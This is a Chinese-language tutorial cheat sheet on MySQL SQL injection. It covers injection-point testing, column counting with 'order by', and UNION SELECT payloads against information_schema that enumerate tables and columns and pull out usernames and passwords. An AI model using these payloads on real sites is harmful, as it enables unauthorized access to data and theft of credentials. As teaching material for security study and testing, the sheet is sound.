数据库类型 |
Mysql、Access、Mssql、Oracle、Postsql、SQLite、Mongodb、等等 |
变量可控、代入数据库查询 过滤不严谨或者没有过滤 |
MYSQL注入 |
信息收集 |
①操作系统 ②数据库名 ③数据库用户 ④数据库版本 ⑤其他(网站路径)等 |
数据注入 |
同数据库 ①低版本 暴力查询或者结合读取查询 5.0以下 ②高版本 information_schema有据查询 5.0以上 |
高权限注入 ①常规查询 (数据注入) ②跨库查询 利用数据库进行跨数据库查询 ③文件读写 利用注入进行文件读取或写入 |
MYSQL数据库 |
1.必要知识点:在MYSQL5.0以上中,mysql存在一个自带数据库名为information_schema,他是一个记录有所有 数据库表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。 2.数据库中符号“.”代表下一级,例如xiao.user表示xiao数据库下的user表名。
information_schema.tables:记录所有表名信息的表 information_schema.columns:记录所有列命信息的表 table_name 表名 columns_name 字段名
数据库A→网站A 表名 列名 数据 数据库B→网站B 表名 列名 数据 数据库C→网站C 表名 列名 数据 |
注入点判断 老方法:and 1=1 页面正常 and 1=2 页面错误 逻辑运算符 或 且 非 or and xor 真 且 真 =真 真 且 假 =假 真 或 假 =真
判断注入 猜解列明数量(字段数) order by x 错误与正常值 ?id=1 order by 4 报错猜解准备 ?id=1 union 1,2,3,4 ?id=-1 union 1,2,3,4 信息收集 数据库版本:version() 数据库名字:database() 数据库用户:user() 操作系统:@@version_compile_os
查询数据库下的表名信息 group_concat(table_name)显示所有表 ?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='数据库名字' 查询指定表名下的列明信息 ?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.columns where table_name='表名' 查询指定数据 ?id=-1 union select 1,name,password,4 from 表名
#猜解多个数据可以采用limit x,1 变动猜解 |